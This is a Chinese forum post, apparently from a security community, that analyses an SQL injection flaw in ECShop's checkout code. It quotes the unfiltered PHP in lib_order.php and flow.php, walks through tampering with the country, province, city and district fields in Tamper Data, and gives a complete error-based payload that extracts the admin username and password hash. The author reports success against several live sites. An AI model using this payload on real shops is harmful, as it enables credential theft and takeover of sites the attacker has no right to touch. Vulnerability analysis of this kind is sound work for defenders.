关于ECSHOP新的注入漏洞的分析

2012-12-26 23:45:22 48 5694


刚才看了版主大大发了EC新洞。测试了几个站都成功了,看帖子里有人说有些站没有province怎么办,然后我就去读一下代码,看看具体漏洞出在哪里

找了一下,

发现问题出现在lib_order.php这个文件里的
function available_shipping_list($region_id_list)函数里
function available_shipping_list

($region_id_list)
{
    $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
                's.shipping_desc, s.insure,

s.support_cod, a.configure ' .
            'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
                $GLOBALS['ecs']->table

('shipping_area') . ' AS a, ' .
                $GLOBALS['ecs']->table('area_region') . ' AS r ' .
            'WHERE r.region_id ' .

db_create_in($region_id_list) .   //这里$region_id_list没有过滤的,直接带入
            ' AND r.shipping_area_id = a.shipping_area_id AND

a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';

    return $GLOBALS['db']->getAll($sql);
}
然后我们来看看

flow.php里调用的这个函数
 /*
         * 保存收货人信息
         */
        $consignee = array(
            'address_id'    => empty

($_POST['address_id']) ? 0  : intval($_POST['address_id']),
            'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST

['consignee']),
            'country'       => empty($_POST['country'])    ? '' : $_POST['country'],      //这里country,province,city都是直接没有任何过滤的
            'province'      => empty($_POST['province'])   ? '' : $_POST['province'],
            'city'          => empty($_POST

['city'])       ? '' : $_POST['city'],
            'district'      => empty($_POST['district'])   ? '' : $_POST['district'],
            'email'  

       => empty($_POST['email'])      ? '' : $_POST['email'],
            'address'       => empty($_POST['address'])    ? '' : $_POST

['address'],
            'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
            'tel'         

  => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
            'mobile'        => empty($_POST['mobile'])     ? '' :

make_semiangle(trim($_POST['mobile'])),
            'sign_building' => empty($_POST['sign_building']) ? '' : $_POST['sign_building'],
            

'best_time'     => empty($_POST['best_time'])  ? '' : $_POST['best_time'],
        );
/* 取得配送列表 */
    $region            

= array($consignee['country'], $consignee['province'], $consignee['city'], $consignee['district']);
//这里直接调用$consignee['country'], $consignee['province'], $consignee['city'], $consignee['district'] 进入函数available_shipping_list说明呢,这个注入可以改变'country','province','city','district'的任意值都可以成功的。
    $shipping_list     = available_shipping_list($region);
接下来是实际测试

环节。
准备工具firefox,tamper data

进行到这一步,开启tamper data



提示,任意修改 'country','province','city','district'这个4个变量为:
3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #
均可达到效果

如果这4个变量都没有,可以尝试一下在tamper data里添加任意一个变量测试
Y35U大大的原帖
https://www.t00ls.com/redirect-21332.html#lastpost

关于作者

suniteboy11篇文章228篇回复

评论48次

要评论?请先  登录  或  注册